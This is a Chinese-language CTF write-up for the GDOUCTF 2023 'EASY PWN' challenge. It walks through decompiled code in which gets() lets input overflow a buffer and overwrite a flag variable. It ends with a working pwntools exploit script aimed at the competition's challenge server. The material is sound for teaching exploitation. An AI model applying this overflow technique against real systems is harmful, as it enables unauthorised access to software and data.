[GDOUCTF 2023]EASY PWN
知识点:
/dev/urandom
是类 Unix 系统(如 Linux、FreeBSD 等)中一个特殊的设备文件,用于提供加密安全的随机数
在 x86 架构中:
1 字节(Byte)= 8 位(bit)
1 字(Word)= 2 字节 = 16 位
1 双字(Double Word)= 4 字节 = 32 位_DWORD
中的 “D” 代表 “Double Word”(双字),表示 32 位无符号整数类型,取值范围为 0 ~ 4294967295
(0x00000000 ~ 0xFFFFFFFF
)
准备 64 位,开了 PIE
保护
分析 main函数 1 2 3 4 5 6 7 int __fastcall main(int argc, const char **argv, const char **envp) { setbuf(_bss_start, 0LL); puts("If I gaslight you enough, you won't be able to guess my password! :)"); check(); return 0; }
有一个 check
函数
check函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int check() { int result; // eax char buf[10]; // [rsp+7h] [rbp-29h] BYREF char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF ssize_t v3; // [rsp+20h] [rbp-10h] int fd; // [rsp+28h] [rbp-8h] int v5; // [rsp+2Ch] [rbp-4h] v5 = 0; fd = open("/dev/urandom", 0); if ( fd < 0 ) { puts("Can't access /dev/urandom."); exit(1); } v3 = read(fd, buf, 0xAuLL); if ( v3 < 0 ) { puts("Data not received from /dev/urandom"); exit(1); } close(fd); puts("Password:"); gets(s1); result = strcmp(s1, buf); if ( result ) result = puts("I swore that was the right password ..."); else v5 = 1; if ( v5 ) { puts("Guess I couldn't gaslight you!"); return print_flag(); } return result; }
从 /dev/urandom
读取 10 个随机数到 buf
数组中v3
来存储实际读取的字节数 下面一个输入到 s1
中,有 gets
函数,存在缓冲区溢出 比较随机生成的和用户输入的是否一致,相同时会把 v5
赋值为 1 当 v5
为 1 时,会有一个 print_flag
函数
print_flag函数 1 2 3 4 5 6 7 8 9 10 11 12 int print_flag() { char s[264]; // [rsp+0h] [rbp-110h] BYREF FILE *stream; // [rsp+108h] [rbp-8h] stream = fopen("flag.txt", "r"); if ( !stream ) return puts("Cannot read flag.txt."); fgets(s, 256, stream); s[strcspn(s, "\n")] = 0; return puts(s); }
输出 flag
思路: 这题原本想着去篡改 buf
使结果固定,但并没有这么复杂 去 ida
中查看栈情况就能知道 这里输入点是 s1
没法直接改 buf
,但能改 v5
,把 v5
的数值直接改成 1,就能获得 flag
输入点 s1
到 v5
的距离是 0x1F-4=0x1B 又因为 v5
参数的类型是 _DWORD
(4 字节) ,所以用 32 去修改
1 2 payload=b'a'*0x1B+p32(1) io.sendline(payload)
脚本 1 2 3 4 5 6 7 8 9 10 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') io=remote('node5.anna.nssctf.cn',21693) # io=process('/home/motaly/easy') elf=ELF('/home/motaly/easy') payload=b'a'*0x1B+p32(1) io.sendline(payload) io.interactive()